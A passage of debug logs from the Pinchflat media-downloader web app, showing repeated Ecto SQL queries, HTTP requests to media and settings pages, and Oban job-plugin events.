s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:40:38.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=60.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:40:38.979 [debug] QUERY OK source="tasks" db=0.1ms idle=60.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 18:40:38.979 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=60.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [224] 18:40:38.979 [debug] QUERY OK source="settings" db=0.1ms idle=60.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:40:38.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:40:38.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:40:38.981 [debug] QUERY OK source="sources" db=0.1ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:40:38.981 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:40:38.982 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:40:38.982 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:40:38.983 [debug] QUERY OK source="media_items" db=0.0ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:40:38.983 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:40:38.984 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:40:38.984 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 18:40:38.985 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:40:38.986 [info] Sent 200 in 7ms 18:40:51.255 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.496 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:21.256 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:32.480 [info] GET /sources/5/media/398 18:41:32.480 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "398", "source_id" => "5"} Pipelines: [:browser] 18:41:32.481 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1561.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [398] 18:41:32.482 [debug] QUERY OK source="tasks" db=0.3ms idle=1563.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [398] 18:41:32.483 [debug] QUERY OK source="sources" db=0.4ms idle=1564.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:41:32.484 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1565.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [168] 18:41:32.484 [debug] QUERY OK source="settings" db=0.1ms idle=985.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:32.485 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:32.485 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:32.486 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:41:32.488 [info] Sent 200 in 8ms 18:41:51.258 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.498 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:14.199 [info] GET /sources/5/media/356 18:42:14.199 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "356", "source_id" => "5"} Pipelines: [:browser] 18:42:14.200 [debug] QUERY OK source="media_items" db=0.2ms idle=614.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [356] 18:42:14.200 [debug] QUERY OK source="tasks" db=0.1ms idle=281.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [356] 18:42:14.201 [debug] QUERY OK source="sources" db=0.1ms idle=282.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:42:14.201 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=282.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [166, 202, 221] 18:42:14.201 [debug] QUERY OK source="settings" db=0.0ms idle=282.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:42:14.202 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:42:14.202 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:42:14.202 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:42:14.204 [info] Sent 200 in 4ms 18:42:21.260 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:51.261 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:57.045 [info] GET /sources/1/media/457 18:42:57.046 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "457", "source_id" => "1"} Pipelines: [:browser] 18:42:57.046 [debug] QUERY OK source="media_items" db=0.2ms idle=1127.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [457] 18:42:57.047 [debug] QUERY OK source="tasks" db=0.3ms idle=1127.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [457] 18:42:57.047 [debug] QUERY OK source="sources" db=0.1ms idle=379.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:42:57.048 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=129.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [176] 18:42:57.048 [debug] QUERY OK source="settings" db=0.0ms idle=129.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:42:57.048 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:42:57.049 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:42:57.049 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:42:57.051 [info] Sent 200 in 5ms 18:43:00.499 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:21.262 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:51.264 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.500 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:02.518 [info] GET /sources/5/media/200 18:44:02.519 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "200", "source_id" => "5"} Pipelines: [:browser] 18:44:02.519 [info] GET /settings 18:44:02.519 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 18:44:02.519 [debug] QUERY OK source="media_items" db=0.2ms idle=1600.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [200] 18:44:02.519 [debug] QUERY OK source="settings" db=0.3ms idle=1600.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.520 [debug] QUERY OK source="tasks" db=0.2ms idle=725.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [200] 18:44:02.520 [debug] QUERY OK source="settings" db=0.3ms idle=1600.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.520 [debug] QUERY OK source="settings" db=0.1ms idle=601.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.520 [debug] QUERY OK source="sources" db=0.4ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:44:02.521 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.521 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=1.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [159, 198, 218] 18:44:02.522 [info] Sent 200 in 3ms 18:44:02.522 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.522 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.523 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 